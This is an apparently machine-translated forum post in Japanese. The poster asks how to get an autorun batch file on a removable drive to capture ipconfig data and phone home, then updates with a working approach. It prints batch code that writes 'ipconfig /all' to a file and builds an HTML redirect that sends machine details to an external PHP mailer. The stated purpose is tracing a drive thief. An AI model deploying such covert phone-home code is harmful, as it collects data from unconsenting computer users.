さて、私の最終的な目標は、外付けドライブやフラッシュディスク、さらにはCDに配置できる自動実行ファイルを用意することです。このファイルを実行すると、大量のがらくたが実行され、最終的にコンピューターのIP情報が返されます。これまでのところ、これは私が持っているものです...
そのバッチファイル
- cmdウィンドウを開き、ipconfig / all> tcpinfo.txtを実行して、すべてのipconfigをファイルに保存します
次に、ファイルはhtmlファイルを作成します
エコー^http://anthonyrussell.info/scripts/sendmail.php?computerinfo="これはipconfig情報が行くべき場所です"^>^^^ >> sendEmail.html`
-バッチファイルが最後に行うことは、htmlファイルを実行することです
HTMLファイルは、私が作成したphpページにリダイレクトされます。このページは、作成したhtmlファイルから渡されたGET情報を含む電子メールを送信します。
したがって、ipconfig情報をhtmlコードに取得できない場合を除いて、すべて機能します。
何か案は?
以下は私が使用しているバットコードです。気軽に実行してください。altEmail =と書かれているメールアドレスを追加すると、テストしたい場所に送信されるように構成されています。それ以外の場合は、私にルーティングされます。
これをwhatevernameyouwant.batとして保存します
cd desktop
ipconfig /all > tcpinfo.txt
echo ^<html^>^<head^>^<meta HTTP-EQUIV="REFRESH"content="0;url=http://anthonyrussell.info/scripts/sendmail.php?computerinfo=ip:127.0.0.1&altEmail="^>^</head^>^</html^> >> sendEmail.html
sendEmail.html
アップデート
したがって、最も単純な答えが本当に最良である場合があります。このシナリオの要点は、ドライブまたはディスクを盗んだかどうかわからない誰かからコンピューター情報を取得することでした。
アイデアは、自動実行->バッチファイルの起動->comp情報のキャプチャ->htmlファイルの作成->情報付きの電話の自宅にすることでした
私がやったことは、コマンドプロンプトからパブリックIPをキャプチャする代わりに(今では実行できないと確信しています)、HTMLファイルを作成して起動し、サーバー上で訪問者IDをキャプチャして電子メールで送信するだけです。コマンドプロンプトでキャプチャしたコンピューター名と一緒に本文に表示されます。
皆様からのご意見ありがとうございました。これは楽しい運動でした